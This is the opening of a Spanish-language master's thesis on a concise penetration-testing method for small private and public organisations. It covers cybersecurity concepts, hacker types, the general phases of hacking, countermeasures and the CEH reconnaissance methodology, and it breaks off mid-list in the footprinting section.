UNIVERSIDAD DE CUENCA

Facultad de Ingenieria

Maestria en Gestion Estratégica
de Tecnologias de la Informacion

Método conciso para test de penetracion en sistemas informaticos
de empresas pequeias privadas y publicas

Trabajo de titulacion previo a la
obtencion del titulo de Magister en
Gestion Estratégica de Tecnologias
de la Informacion

Autor: Ing. Martin Fernando Gonzalez Palomeque
Cl: 0301588091
mfgp_87@hotmail.com

Director: Ing. Diego Arturo Ponce Vasquez, PhD.
Cl: 0101822609

Cuenca - Ecuador
12-abril-2022



AE% UNIVERSIDAD DE CUENCA

AR

g

Resumen

En este trabajo de titulacion se desarrolla un método conciso para la ejecucién de pruebas
de penetracién en infraestructuras tecnolégicas de pequefias empresas privadas o publicas,
suministrando las herramientas adecuadas y estableciendo los procesos necesarios para su
implementacién. Se examinaron conceptos basicos de ciber seguridad y contramedidas a
ataques informaticos, y se profundizé en algunas metodologias relevantes para la ejecuciéon
de pruebas de penetracion, como base para el disefio posterior del método propuesto. Con
la aplicacién del caso de estudio se comprob6 que la herramienta disefiada es efectiva, Util,
y provee resultados de manera rapida, a la vez que optimiza el uso de recursos, lo que se
traduce en ahorros significativos para las empresas. Finalmente, los resultados hacen
evidente la falta de profesionales del area de seguridad informética, y sugieren una falta de
conciencia por parte de las empresas pequefias en esta tematica y en los riesgos asociados

a ataques informaticos.

Palabras clave: Ciberseguridad. Seguridad de la informacion. Metodologia para pruebas de

intrusion. Ciberseguridad en empresas pequefias.
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Abstract

This study develops a brief method for the execution of penetration tests in modest
technological infrastructures, providing the appropriate tools and establishing the necessary
processes for its implementation in small, private and public organizations. Basic concepts of
cybersecurity and countermeasures to computer attacks were examined, and relevant
methodologies for penetration testing were delved, as a basis for the subsequent design of
the proposed instrument. With the application of the case study, the designed tool was verified
to be effective, useful, and quick to provide results while optimizing the use of resources, which
translates into significant savings for companies. Finally, the results show the lack of
professionals in the cyber security area, and also a lack of awareness by small companies on

this topic, and the associated risks with cyberattacks.

Keywords: Cybersecurity. Information security. Penetration testing methodology.

Cybersecurity in small companies.
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Capitulo |

Introduccion

1.1 Antecedentes

El uso de la tecnologia en los procesos de negocio, trae consigo beneficios para las empresas
gue no se podrian obtener de otra manera. La informacién se ha vuelto un activo critico para
la operacién y crecimiento de todas las empresas (Santiago & Allende, 2017), y gracias a los
avances tecnhologicos, ésta puede encontrarse de manera digital y en distintos medios y
lugares. Esto ha generado una tecno dependencia por parte de la mayoria de ellas. Por ello
es necesario advertir en este punto que, la automatizacion e hiperconectividad de sus
procesos implica riesgos asociados y vulnerabilidades, originados generalmente dentro de su
propia infraestructura tecnoldgica, que, ademds, al encontrarse constantemente
interconectados, exponen sus activos digitales a una gran cantidad de amenazas (Santiago
& Allende, 2017).

Las amenazas tecnolbgicas son parte de nuestra vida diaria como individuos y dentro de
nuestras organizaciones, sin embargo, es en estas ultimas a donde estan dirigidos en su gran
mayoria los ataques informéaticos (Israel, 2020), y es precisamente en donde debemos tener
especial cuidado. Se vuelve necesario la implementacion de politicas y herramientas que

ayuden a cubrir las fallas de seguridad y a proteger los activos digitales (Santo Orcero, 2018).

El escenario actual es desalentador. En la Gltima década, el nimero de ataques informaticos
ha incrementado exponencialmente, asi como también lo ha hecho en forma y sofisticacion.
Un ciber atacante puede facilmente ocasionar dafios incalculables a una empresa sin perder
el anonimato, y para esto solo necesita un computador y una conexion a internet. El bajo
costo y riesgo en la perpetracion de estos atagues son factores clave en el crecimiento en

este tipo de delitos.

El problema va un tanto mas alla. Segun el Reporte Ciberseguridad 2020: riesgos, avances
y el camino a seguir en América Latina y el Caribe, de los 32 paises que fueron analizados,
un tercio no cuenta con un marco legal sobre los delitos informéaticos, 12 han aprobado una
estrategia nacional de ciberseguridad, 10 paises han creado organismos para la gestion de
la ciberseguridad y tan solo 5 se han adherido a la convencién de Budapest que facilita la
cooperacion internacional en la lucha contra el cibercrimen. Esto, sumado a la brecha de
600.000 profesionales en el area de la ciberseguridad, han ocasionado que la lucha contra el

cibercrimen en la regién, tenga un avance muy conservador.
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La ciberseguridad es un tépico todavia pendiente para muchas empresas. La mayoria
desconoce su estado actual en este tema, y menos realiza auditorias 0 comprobaciones de
seguridad de forma peridédica. Esta realidad predispone un escenario éptimo para la ejecuciéon
de agentes maliciosos que estan en constante busqueda de vulnerabilidades a través de
diversas infraestructuras tecnoldgicas. La materializacion de estas vulnerabilidades,
significan perdidas que rondan la cifra de los 50.000 millones de ddlares por afio, solo para

América Latina (Gonzalez, 2019).

Como es evidente, nos falta mucho camino por recorrer en este tema. En el Ecuador como
en otros paises de la region, la seguridad informética no tiene la relevancia que se merece
por parte de las empresas y organizaciones, el problema principal es el presupuesto que
asignan a la ciberseguridad (Vargas Borbua et al., 2017), el escenario se complica para las
empresas pequefias e instituciones publicas. El presupuesto con el que disponen, la
tramitologia requerida y el costo de contratar servicios de esta naturaleza dificultan la
materializacion de la implementacibn de politicas de seguridad y exponen a las
organizaciones a agentes maliciosos y consecuentemente a la interrupcion de sus procesos

y servicios.

Existe variedad de soluciones basadas en hardware y software, entrenamiento para el
personal, politicas, metodologias, estandares y marcos de trabajo con el fin de hacer frente a
las amenazas tecnoldgicas, que acechan nuestro dia a dia y en todos los aspectos de nuestra
vida. Entre las mas utilizadas se encuentran, la implementacion de metodologias para la
ejecucion de pruebas de penetracion, las que consisten en analizar una infraestructura en
busca de vulnerabilidades, proponer medidas y mitigar riesgos, con un enfoque externo. Mas

adelante profundizaremos en algunas de ellas.
1.2 Justificacién

Los ataques informéticos estdn a la orden del dia. Basta con revisar el mapa en vivo de
ataques informéticos en la web de Kaspersky (MAP | Kaspersky Cyberthreat Real-Time Map,
s/f), para darnos cuenta que los ciberataques suceden por miles y a cada segundo, no
discriminan pais o region, si es una persona o una empresa, si esta Ultima es grande o es

pequefia.

El afirmar que las empresas pequefias no son de interés para los ciberatacantes es una
falacia. Si bien es cierto, el comprometer la infraestructura tecnolégica de una corporacién o
multinacional puede traer consigo mayores beneficios econémicos, atacar una empresa
pequefia resulta mucho mas facil y es de igual manera rentable, aunque a una menor escala.

Considerando que, son las empresas grandes las que generalmente cuentan con politicas,
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infraestructura y personal dedicado a evitar o minimizar el impacto que tienen las amenazas
cibernéticas, el uso de tiempo y recursos necesarios para un ataque es muy superior a los
requeridos para comprometer una empresa pequefia, donde habitualmente, llevados de la
falsa creencia de que no van a ser objeto de ataques, obvian la implementacion de controles
de seguridad muchas veces basicos, y dejan expuestos sus activos digitales, que de ser
comprometidos, podrian llevar tranquilamente a la quiebra a estas empresas, por poner un

ejemplo, el robo de patentes.

La variedad de formas en las que un atacante puede comprometer nuestros activos digitales,
es abrumadora y lo menos que podemaos hacer como duefios de casa, es asegurar puertas y
ventanas. Si a este peligro latente, le sumamos la brecha de 600 mil profesionales en el area
de ciberseguridad para la regién de Latinoamérica y el Caribe, el problema se complica de

sobremanera.
1.3 Objetivos

En base a lo anterior, el estudio propondra un método que sea asertivo y rapido de ejecutar,
utiizando un minimo de recursos, nos permita conocer el estado actual de nuestra
infraestructura tecnolégica en temas de seguridad, los riesgos asociados a los activos
digitales, sirva como punto de partida para examenes mas profundos como auditorias de
seguridad y nos permita llevar la seguridad de nuestra empresa a niveles aceptables, al
mismo tiempo que establecemos una cultura de seguridad en las empresas, sin importar su

tamanfo.
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Capitulo Il

Marco Teodrico

En un mundo hiper conectado, las ciber amenazas pueden venir de cualquier lugar y en
cualquier forma. Los ciber criminales, muchas veces econémicamente motivados, ingenian
constantemente nuevas formas de vulnerar sistemas y exponer o robar informacién para su
propio beneficio. El virus informéatico ha evolucionado a un abanico de amenazas mas
sofisticadas que resulta dificil muchas de las veces, etiquetarlas o clasificarlas (Choo, 2011),
de la misma forma, la rama de la ciberseguridad se ha visto siempre en la necesidad de

seguirle el paso.

La seguridad de la informacion, seguridad informatica y ciberseguridad son temas bastante
amplios y que estadn estrechamente relacionados. En el presente capitulo revisaremos
algunos temas relevantes que nos ayudaran a comprender de mejor manera el estudio, y
profundizaremos en las metodologias de pentest que se consideran mas importantes, ya que
son la base para el desarrollo de este estudio.

2.1 Seguridad de la Informacién

De una forma simplista, la seguridad de la informacién es la disciplina que se encarga de
garantizar la confidencialidad, integridad y disponibilidad de la informacion (Tabla 1). De una
manera mas profunda, la seguridad de la informacion es un proceso, una actividad continua
gue trata de identificar los riesgos relacionados a los recursos tecnoldgicos, gestionar esos
riesgos (los cuales pueden o no ser de naturaleza tecnoldgica) y llevarlos a niveles

aceptables.

Tabla 1. Caracteristicas de la informacion. Fuente: (Samonas & Coss, 2014)

Concepto

Descripcion

Caracteristica

Confidencialidad

Integridad

Disponibilidad

Se refiere al hecho de que la
informacién o los activos digitales
deberadn ser accesibles Unicamente
por las personas autorizadas

Mantener la informaciébn o activos
digitales en la misma forma en la que
fueron generados, sin haber sido
alterados o modificados por personas
no autorizadas

Es la capacidad de la informacion o
recursos digitales de permanecer
accesibles cada que un usuario
autorizado asi lo requiera

Una persona sin autorizacién accede o
toma ventaja de la informacion
almacenada en un computador

Una falta a la integridad es la
modificacion no  autorizada de
informacién; una persona cambia o
altera la informacién almacenada en
un equipo

Una falta a la Disponibilidad podria
considerarse cuando un usuario no
autorizado puede bloquear el acceso a
los recursos digitales a usuarios
autorizados
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2.1.1 Seguridad informética

Es necesario saber diferenciar el concepto de seguridad de la informacion del de seguridad
informatica. Si bien a primera vista pueden parecer bastante similares, en la practica se

vuelven notables sus diferencias:

De acuerdo a Figueroa-Suérez et al., (2018), la seguridad informatica se encarga de la parte
operacional, el método, la implementacion practica de la proteccién de la informacion a través
de actividades, herramientas, controles, que actian de manera activa en una organizacion y

su infraestructura.

La seguridad de la informacion es de orden metodolégico, esta mas orientada a la estrategia,
es la que se encarga de establecer las pautas, politicas o normas a seguir con el fin de

proteger los activos digitales.

Otra diferencia importante es que la seguridad informética se limita a una infraestructura
tecnolégica, mientras que la seguridad de la informacion se expande a toda una organizacion
(infraestructura fisica en general, personas, procesos, etc.). Por ejemplo: Establecer claves
de acceso a los equipos de computo se puede considerar una practica tanto de seguridad
informatica como de seguridad de la informacion. Implementar cerraduras inteligentes con
lectores biométricos se puede considerar una préactica de seguridad de la informaciéon y no de

la seguridad informatica.
2.1.2 Hacking y ciberseguridad

La cultura hacker nace en el MIT (Massachusetts Institute of Technology) a principios de la
década de los sesenta. La palabra “hack” en ese entonces significaba una solucién simple y
elegante a un problema. De ahi que, con el tiempo, el termino hacker se empezé a asociar
con programadores informaticos, para quienes un “hack” era una hazafia en el campo de la

programacion (Breve historia de los “hackers” y sus andanzas, 2011).

Con la llegada del ARPANET a principios de la década de los 70 y la creciente popularidad
de las computadoras, los entendidos (hackers) en los sistemas informaticos y lenguajes de
programacion comenzaron a poner a prueba estos sistemas para descubrir sus capacidades.
Ademas, pasaron de ser individuos aislados a ser una tribu interconectada que compartia
informacion y experiencias en los famosos bulletin boards (precursores de los foros en
internet). No paso mucho tiempo para que cruzaran la barrera legal. Para la década de los 80
el termino hacker se asociaba casi exclusivamente con actividades delictivas (Guillen Zafra,
2017).
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De manera simultdnea, los gobiernos, principalmente de Estados Unidos y Reino Unido
comenzaron a reclutar personas con un nivel técnico elevado con el fin de poner a prueba

sus sistemas y corregir errores antes de que fueran explotados.

Desde la creacion del primer virus informatico, las amenazas tecnologicas han evolucionado
en las Ultimas décadas. La informacién y los activos digitales almacenados en sistemas
financieros y empresariales han sido continuamente el blanco de hackers de sombrero negro

guienes son siempre muy creativos a la hora de elaborar un ataque.

En consecuencia, la ciberseguridad nace de la necesidad de las empresas de proteger sus
activos digitales de agentes maliciosos. Dicho de otro modo, la ciberseguridad no es mas que

el estudio, desarrollo y practica de las contramedidas a cualquier forma de ataque informatico.
2.1.3 Tipos de hackers

Existe una gran variedad de tipos de hackers, los cuales se clasifican en mayor medida por
sus intereses y modo de operacion, tal como se ve en la tabla 1. Se utilizara la terminologia
en inglés, ya que es ampliamente reconocida en el mundo de la ciberseguridad.

Tabla 2. Tipos de hackers. Fuente: (Ec Council, 2020)

Tipo Descripcion
Hackers con habilidades computacionales extraordinarias. Usan esas
habilidades para ingresar de manera no autorizada a sistemas con fines
delictivos como robar datos personales, contrasefias, informacion
Black Hats financiera o perjudicar o comprometer los sistemas. También se les
conoce como crackers

Se dedican a testear sistemas con el fin de conocer de forma anticipada
las vulnerabilidades del mismo, antes de que puedan ser explotadas.
Generalmente trabajan en empresas de seguridad y testean sistemas

White Hats siempre con la autorizacidn de sus propietarios. También se les conoce
como pen testers o hackers éticos

Es una especie de combinacion de los anteriores. Generalmente vulneran

sistemas sin autorizacion, pero lo hacen con buena intencién y no para
Gray Hats beneficio personal. Por ejemplo, filtran informacién relevante sobre una

empresa que utiliza practicas no éticas para el puiblico en general

Su intencién es la de causar el mayor dafio posible a una infraestructura
Suicide Hackers tecnoldgica por una “causa”. No les importa que los atrapen o que puedan
ir a la carcel

Son hackers sin habilidad, aunque con conocimiento en la materia, que
Script Kiddies utilizan herramientas desarrolladas por hackers verdaderos para
perpetrar sus ataques

Sus ataques estan motivados por creencias politicas o religiosas.
Cyber Terrorist Expertos en una gran gama de habilidades, buscan generar miedo
advirtiendo ataques a gran escala de redes computacionales
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Son contratados por gobiernos para penetrar sistemas, obtener
State Sponsored informacién secreta o perjudicar los sistemas de informacion de otros
Hackers gobiernos

Buscan socializar o generar conciencia de su agenda politica o social,
Hacktivist generalmente deshabilitando sitios web o vulnerando sistemas
informaticos gubernamentales o corporativos como una forma de protesta

2.1.4 Fases del Hacking

En la seguridad de la informacion, el término “Hacking” se refiere a explotar vulnerabilidades
en una infraestructura tecnoldégica. Generalmente consiste en 5 fases. No es necesario

seguirlos al pie de la letra, sin embargo, el realizarlo trae consigo mejores resultados.
» Reconocimiento

Se lo conoce también como Footprinting. Consiste en recolectar la mayor cantidad de
informacion acerca del objetivo, la cual servird para planificar las fases posteriores. La
informacion a recolectar acerca del objetivo puede incluir: clientes, personal, redes y
sistemas. Las técnicas de reconocimiento pueden ser activas o pasivas y pueden incluir

ingenieria social, Google hacking, whois, network mapping, entre otras.
» Escaneo

Es la fase previa a la intrusion. En esta etapa y con la informacién recolectada en la fase
anterior, el atacante escanea una red de datos por informacion especifica como maquinas
activas, estado de los puertos, topologias de red, tipo de dispositivo, detalles del sistema
operativo, entre otras. Las herramientas utilizadas en esta fase pueden ser: port scanners,

vulnerability scanners, network mappers, etc.
» Obtener Acceso

Como su nombre lo indica, consiste en que el atacante obtiene acceso a un host objetivo al
explotar alguna vulnerabilidad descubierta en la fase previa. Tan pronto como obtiene acceso,
el atacante intenta escalar los privilegios en el host para poseer control total del sistema. Para
esto se utilizan técnicas como password cracking, buffer overflows, session hijacking

(secuestro de sesion), etc.
» Mantener Acceso

Una vez que se escala privilegios en un host objetivo, el atacante requiere mantener ese
acceso y sus privilegios para utilizarlos a voluntad. Habitualmente en esta fase se limpia la
evidencia del acceso no autorizado, se instala un backdoor o un troyano para ingresar

nuevamente, y un rootkit para ganar acceso a nivel de sistema. De aqui, que el atacante
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puede subir, descargar o manipular informacion del sistema, aplicaciones o configuracion,
robar informacion confidencial o contrasefias, o también puede utilizar el host para perpetrar

ataques futuros.
» Eliminar rastros

Son las actividades que el atacante realiza con el fin de esconder sus actos maliciosos. En
esta fase es comln permanecer cautelosamente en control del host objetivo y eliminar la
evidencia que podria perjudicarlos legalmente. Se utilizan herramientas como PsTools,
Netcat o troyanos para eliminar sus huellas y sobrescribir los logs de las aplicaciones o

sistemas.
2.1.5 Ethical Hacking

Es la practica de utilizar herramientas y conocimientos de hacking para ayudar a las empresas
y gobiernos a descubrir vulnerabilidades y mejorar la seguridad de sus sistemas y redes
computacionales. Hackers éticos o White Hats son contratados por las organizaciones para
realizar ataques autorizados y controlados a sus infraestructuras evitando causar dafios a sus

activos.
El ethical hacking consiste en 5 fases:
Fase 1: Reconocimiento
Fase 2: Escaneo
Fase 3: Obtener acceso
Fase 4: Mantener acceso
Fase 5: Limpiar huellas
» Alcancey limitaciones

El hacking ético es una herramienta esencial y de soporte para la gestion de riesgos,
auditorias de seguridad y mejores practicas dentro de la seguridad de los sistemas de
informacion. Permite identificar riesgos y gestionarlos de acuerdo a un plan, sin embargo,
esta limitado a los requerimientos del contratante. Para esto es importante definir de manera
especifica, lo que puede o no hacer, acceder o vulnerar el pentester, considerar acuerdos de
confidencialidad, y establecerlo en un contrato de trabajo. Ningun trabajo de pentest o hacking
ético puede empezar sin un documento legal firmado entre las partes y sin antes comprender
bien las implicaciones legales del acceso no autorizado a un sistema informatico. De la misma
forma el pentester debe realizar su trabajo de forma profesional y no exceder lo establecido

en el alcance.
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Dependiendo del enfoque, hay varios tipos de test preestablecidos, cada uno con sus
requerimientos y finalidad.

» Red Team (Equipo Rojo)

Se basa en la seguridad ofensiva. Un equipo de profesionales expertos en atacar sistemas y
vulnerar defensas ponen a prueba la seguridad de un sistema al encontrar vulnerabilidades

y explotarlas.
» Blue Team (Equipo Azul)

Son responsables de asegurar la infraestructura, sistemas y activos digitales de las empresas,
contra los ataques externos (Diogenes & Ozkaya, 2018). Conjuntamente con el equipo rojo
(red team) simulan ataques para probar la efectividad de sus medidas de seguridad, por lo

gue su enfoque holistico provee mejores soluciones de seguridad a las empresas.
» Pentest

Es evaluar la seguridad de un sistema o infraestructura por medio de un ataque autorizado.
Se utilizan métodos de hacking con el fin de encontrar vulnerabilidades y explotarlas de la
misma forma que lo haria un atacante real con el fin de proponer medidas correctivas (Guillen
Zafra, 2017). Existen 3 tipos principales de pentest: Black Box, White Box y Grey Box (ver
tabla 2).

Tabla 3. Tipos de pentest. Fuente: (Guillen Zafra, 2017)

Tipo Caracteristicas
El pentester toma el rol de un atacante externo, sin informacién
previa de la organizacion sobre la que esta trabajando. En este
Black Box enfoque, la empresa quiere poner a prueba la efectividad de las
barreras de seguridad entre su red interna y el internet

La organizacion entrega informacion acerca de su infraestructura al
pentester como rangos de IPs, sistemas, topologias de red, etc. La

White Box finalidad es facilitar la fase de recoleccién de informacion al pentester
y enfocarse en la intrusién y la basqueda de vulnerabilidades

Es una combinacibn de los anteriores. El pentester recibe
informacidn orientativa y asume el rol de un usuario sin privilegios

Gray Box dentro de la organizacion con el fin de evaluar la capacidad de
escalar privilegios y el dafio potencial que podria ejercer en la
empresa

2.2 Contramedidas a ciberataques

Existen varios métodos y contramedidas que podemos implementar en nuestra organizacion
con el fin de contrarrestar el impacto de ataques informéticos y malware, a continuacion,

vamos a ver los mas comunes.
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2.2.1 Antimalware

Aunque hay una ligera diferencia, englobaremos en esta categoria, también a los antivirus y
antispyware. Este tipo de programas examinan los archivos de un dispositivo y los comparan
con una base de firmas que actualizan constantemente. También monitorean los procesos

en ejecucion y detectan comportamientos sospechosos.
2.2.2 Sistemas de deteccion de intrusos (IDS)

Son soluciones basadas en hardware o software y sirven para detectar trafico inusual en una
red de datos y emitir alertas cuando existen intentos de acceso no autorizado a los recursos.

Esto lo hacen a través de monitoreo y analisis de trafico de red y eventos del sistema.
William Stallings & Brown (2014) clasifican a los IDS en tres tipos:

¢ HIDS (IDS basados en host): monitorea los procesos y eventos que ocurren en un

host en particular.

e NIDS (IDS basados en red): Monitorea el trafico de red y analiza segmentos y
dispositivos para identificar actividad sospechosa.

e |IDS distribuidos o hibridos: Combinan funciones de los anteriores en una solucién

central que identifica y responde a intrusiones de forma mas efectiva.

Una forma avanzada de un IDS es un honeypot. Un honeypot es un sistema sefiuelo, por lo
gue esta disefiado para alejar a un atacante potencial de un activo o sistema critico (William
Stallings & Brown, 2014). Pueden simular desde un equipo aislado hasta toda una
infraestructura de red con todos sus servicios, por lo que son muy complejos de mantener.
Ayudan a detectar y prevenir ataques, recopilan informacion a través de logs e incluso pueden

registrar las pulsaciones de teclado del atacante (Ec Council, 2020).
2.2.3 Sistemas de prevencion de intrusos (IPS)

Son extensiones de los IDS ya que de forma adicional poseen la capacidad de bloquear
actividad o trafico malicioso. Al igual que los IDS, se clasifican en IPS basados en red,
basados en host y distribuidos. Identifican comportamientos maliciosos a través de deteccion
de anomalias y responden blogueando los paquetes dentro de un perimetro o un equipo de
la red (William Stallings & Brown, 2014).

2.2.4 Firewall

Son sistemas basados en hardware o software y se utilizan para prevenir accesos no

autorizados de otras redes. Estan integrados con varios servicios y tecnologias que
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incrementan su eficiencia y sus capacidades, como Proxys, NAT y VPN. Generalmente se
ubican entre la red privada y el internet y filtran todos los paquetes tanto de entrada como de
salida, blogueando aquellos que no concuerdan con los criterios de seguridad especificados
(Ec Council, 2020). En este sentido, un firewall puede ser considerado un IPS ya que bloquea
el trafico dentro de una red de acuerdo a las reglas de control de acceso implementadas. Un
IPS dedicado se diferencia al ser capaz de utilizar algoritmos y técnicas avanzadas de

deteccién de patrones y comportamiento malicioso.
2.2.5 Evaluacién y manejo del riesgo

Es el proceso de identificar, evaluar, responder a los riesgos y sus potenciales efectos.
Implementar controles y planes de mejora con el fin de reducir y mantener los riesgos en
niveles aceptables. Comprende actividades como: identificacion de riesgos potenciales,
identificar el impacto de los riesgos potenciales, establecer prioridades (dependiendo el
impacto), comprender y analizar los riesgos, controlar los riesgos y mitigar sus efectos,
socializar al personal las estrategias y planes para el manejo de los riesgos, etc.

2.2.6 Principios de la seguridad informatica

Son un conjunto de reglas basicas basadas en mejores practicas, que, aunque no sean
sencillas de implementar, incrementan de manera considerable los niveles de seguridad de

una organizacion.
» Principio de minimos privilegios

Se refiere a asignar a cada usuario, los privilegios y permisos basicos o necesarios para
ejecutar sus funciones. Esto puede aplicarse tanto a infraestructuras tecnolégicas como
fisicas. Por ejemplo: Un usuario de contabilidad no tendria por qué tener acceso a la base de

datos de clientes, ni tampoco acceso fisico al data center.
» Principio “secure by default”

Este principio esta de cierta forma, ligado al anterior. Se refiere a que se debe bloquear los
accesos digitales y fisicos de la organizacion de manera predeterminada (bloquear puertos,
protocolos, hardware, software, accesos fisicos, etc.), y Unicamente habilitarlos cuando se lo
requiera o lo establezca la politica. Tanto este principio como el anterior tienen la desventaja
de que aumentan considerablemente la carga laboral del equipo de soporte técnico debido a
los permisos que requiere el usuario para realizar sus actividades. Lo importante en ese
sentido, es encontrar un equilibrio entre el nivel de seguridad requerido y el desempefio de

los equipos o la fluidez en las actividades del personal.
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» Principio de compartimentacién

La base de la compartimentacion es la idea de que mientras menos personas conocen los
detalles de una tarea, equipo, misién, etc., el riesgo de que dicha informacion sea

comprometida o caiga en manos incorrectas es menor.

Este principio se aplica en la seguridad informatica de varias formas. En infraestructuras
tecnoldgicas, por ejemplo, se suelen realizar segmentacion de redes de acuerdo a unidades

departamentales o procesos, creacion de VLANs, VPNs y DMZ (zonas desmilitarizadas).
» Principio de defensa en profundidad

Es una estrategia de seguridad que consiste en implementar varias capas de proteccion a
través de un sistema de informacion. Es una estrategia mucho mas eficiente que otras
soluciones ya que si un atacante ha atravesado una capa, los administradores tienen tiempo
para implementar contramedidas que ayuden a contrarrestar el ataque o minimizar el impacto
en las capas inferiores (Ec Council, 2020). Las capas que constituyen la defensa en
profundidad son las siguientes:

e Politicas y procedimientos de seguridad

Establecer reglas y obligaciones con enfoque en la seguridad de la informacién. Debe

comunicarse y ser entendible para todo el personal de una organizacion.
e Seguridad fisica y del entorno

Consiste en implementar mecanismos de vigilancia y control de acceso fisico a las

instalaciones de la organizacion.
o Defensa perimetral

Es el punto de contacto de la red interna de la organizacién con redes externas no confiables.
Aqui es necesario implementar soluciones firewall de cualquier tipo y asegurar los accesos

remotos a la red.
e Defensa de red

Se debe monitorear constantemente el trafico que fluye por la red para detectar y prevenir
ataques oportunamente. En este punto son (tiles sistemas de deteccion y prevencion de

intrusiones.

o Defensa de equipos
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Mantener los sistemas actualizados, con soluciones antivirus, e implementar medidas de
seguridad basicas como claves de usuario, usuarios con privilegios limitados y restriccion de

navegacion por internet.
o Defensa de aplicaciones

Utilizar metodologias de desarrollo de aplicaciones seguras, implementar mecanismos de

autenticacion y autorizacion a las aplicaciones.

e Defensa de datos
Usar mecanismos de encriptacion de datos y copias de seguridad.
» Principio de escalamiento de la autorizacién

Esta ligado al principio de seguro por defecto, el objetivo es llevar un control de acceso
adecuado de los recursos de la organizacion, especialmente a aquellos considerados criticos.
En estos casos, el acceso a activos criticos requiere el conocimiento y autorizacion expresa

de un superior.
» Principio de registro o seguimiento (accounting)

Consiste en llevar un registro de la actividad del usuario (actividad en linea, uso de
aplicaciones, ejecucion de comandos, etc.) dentro de la organizaciéon. De esta forma se
cohibe al usuario a realizar acciones maliciosas, o de ser el caso, el seguimiento de cualquier
incidente permite facilmente encontrar al responsable. El monitoreo debe ser transparente al

usuario y se lo puede gestionar con soluciones IDS.
2.2.7 Pruebas de Intrusion (Penetration Testing)

Segun Santo Orcero (2018), una prueba de penetracion o prueba de intrusiéon es un
“procedimiento de auditoria de seguridad activa en el que con autorizacién del propietario de
un sistema de informacion, el auditor de seguridad analiza el susodicho sistema buscando de

forma proactiva agujeros de seguridad vulnerables”.

Es necesario aclarar también, que las pruebas de intrusion no solo estan enfocadas a equipos
de cdmputo Gnicamente, sino a sistemas de informacion concretos, en los que intervienen no

solo los activos tecnoldgicos, sino el personal y los procedimientos de la empresa,
De Manera general, el pentest o prueba de intrusion consta de 2 fases macro o 2 etapas:

e [Fase pasiva: Consiste principalmente en la recoleccion de datos e informacién acerca
del objetivo, ademéas de todas las actividades en las que no existe todavia una

interaccion directa con el mismo.
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e Fase activa: Con la informacion obtenida en la fase previa, el ethical hacker o

pentester simula un ataque hacia la infraestructura del objetivo.

El objetivo de la prueba de intrusion es el de verificar la efectividad de los controles de
seguridad implementados, ademas de descubrir vulnerabilidades en la infraestructura de una
organizacion que quizds pasaron desapercibidas, finalmente, el informe sirve de punto de
partida para la elaboracién de planes de accion y de mejora de los controles, la subsanacion
de vulnerabilidades y la mitigacion de riesgos, incrementando de esta forma, los niveles de

seguridad de la organizacion.

Herramientas tales como Kali Linux provee utilitarios completos para la ejecucién de pruebas
de intrusién, ademas de que brinda descripciones detalladas sobre como ejecutar las pruebas
y el uso de las herramientas.

2.2.8 Frameworks, estandares, normas y metodologias

Ademas de las contramedidas que hemos revisado, de naturaleza técnica y no técnica,
existen otras herramientas como marcos de trabajo y estandares, que, al ser implementados
en una organizacion, permiten no solo incrementar los niveles de seguridad, sino mejorar de

manera considerable el gobierno de Tl de una empresa.

Un framework o marco de trabajo es un conjunto de criterios y practicas que se han

estandarizado para servir como referencia en la resolucién de problemas similares futuros.

Un estandar es un conjunto de reglas o requisitos minimos aceptables que debe cumplir un

proceso con el fin de asegurar la calidad del servicio o producto final.

Una norma es una guia o lineamiento que se nos impone con el fin de ordenar un

comportamiento o modo de operacion.

En resumen, estas metodologias, a manera de plantilla, nos proveen de herramientas Utiles
a la hora de establecer procedimientos y controles que podemos personalizar de acuerdo a
las necesidades de cada organizacion. De esta forma, simplificamos y estandarizamos

procesos, aumentamos niveles de eficiencia, minimizamos errores, etc.

La norma ISO 27001, el CSF (Cybersecurity Framework) de la NIST y el CEH (Certified
Ethical Hacker) del EC-Council son algunos de los ejemplos que estan orientados a la
seguridad de la informacion y a las auditorias de seguridad. En los siguientes apartados

profundizaremos algunos de ellos para entenderlos de mejor manera.

2.3 CEH (Certified Ethical Hacker)
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Si no deseas que los hackers invadan tu red, primero debes invadir su mente (Ec Council,
2020). Lo dice el EC-Council en la ultima versién de su programa Certified Ethical Hacker.
CEH es un programa de profesionalizacién y certificaciéon que valida los conocimientos y
habilidades de los profesionales en la disciplina de seguridad de infraestructuras de red.
Difiere de otras certificaciones de seguridad enfocandose en una perspectiva externa ya que,
a decir de ellos, ensefa a “pensar como hackers”. El programa se encuentra disponible en

mas de 145 paises y cuenta con mas de 950 centros de entrenamiento autorizado.

En su dltima version (v11), el EC-Council evalGa los conocimientos y habilidades de sus
participantes en 20 temas de estudio, que van desde conceptos basicos de seguridad y redes
de datos, analisis y evaluacion, vulnerabilidades y tipos de ataqgues, contramedidas,
herramientas, programas, procedimientos, metodologia, legislacion en temas de seguridad y

ética, etc.

Por temas de alcance del presente estudio, vamos a revisar los capitulos que comprenden la
metodologia de pentest o ethical hacking, propuesta por el EC-Council en el programa CEH

en su Ultima version.
2.3.1 Footprinting o reconocimiento

Es el primer paso que se sigue en el proceso de evaluacion de un objetivo. Es la fase
preparatoria del proceso de hacking ético y consiste en recolectar la mayor informacion

posible sobre el objetivo con el fin de planificar y facilitar las fases posteriores.
2.3.1.1 Tipos de footprinting
» Reconocimiento pasivo

Consiste en recolectar informacién del objetivo a través de actividades que no involucran una
interaccion directa con el target por lo que es técnicamente mas dificil y demorada que el
reconocimiento activo, aunque permite al atacante pasar desapercibido. Algunas actividades
del reconocimiento pasivo consisten en buscar informacién del objetivo y/o sus empleados

en motores de busqueda y redes sociales, google hacking, bolsas de empleos foros y demas.
» Reconocimiento activo

Por otra parte, el reconocimiento activo consiste en recolectar informacion a través de
interaccién directa con el objetivo. Si bien esta actividad puede resultar mas util que la
anterior, el objetivo podria reconocer la actividad ya que interactuamos de manera abierta con
su red de datos. Las actividades de reconocimiento activo pueden ser whois lookups, extraer

informacion de DNS, traceroute analisis, ingenieria social, entre otras.
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Informacién obtenida

ar footprinting en distintos niveles de red, nos provee de informacion importante y

gue nos puede servir para varios atagues que podemos ejecutar en las fases posteriores. La

informacion mas importante que podemos obtener es:

¢ Informacion de la organizacion

>

vV VYV Vv VYV V

Detalle de los empleados (nhombres, contactos, direccion, cargos).
Direcciones y numero de teléfono de la organizacion.

Socios de la organizacion.

Antecedentes de la organizacion.

Tecnologias que utilizan.

Documentos legales, patentes, articulos de prensa y otros.

e Informacién de red

>

>
>
>

Dominios y subdominios.
Rangos de direcciones IP.
Topologias de red, routers y firewalls de confianza.

Registros Whois.

¢ Informacioén de los sistemas

>
>
>
>

2313

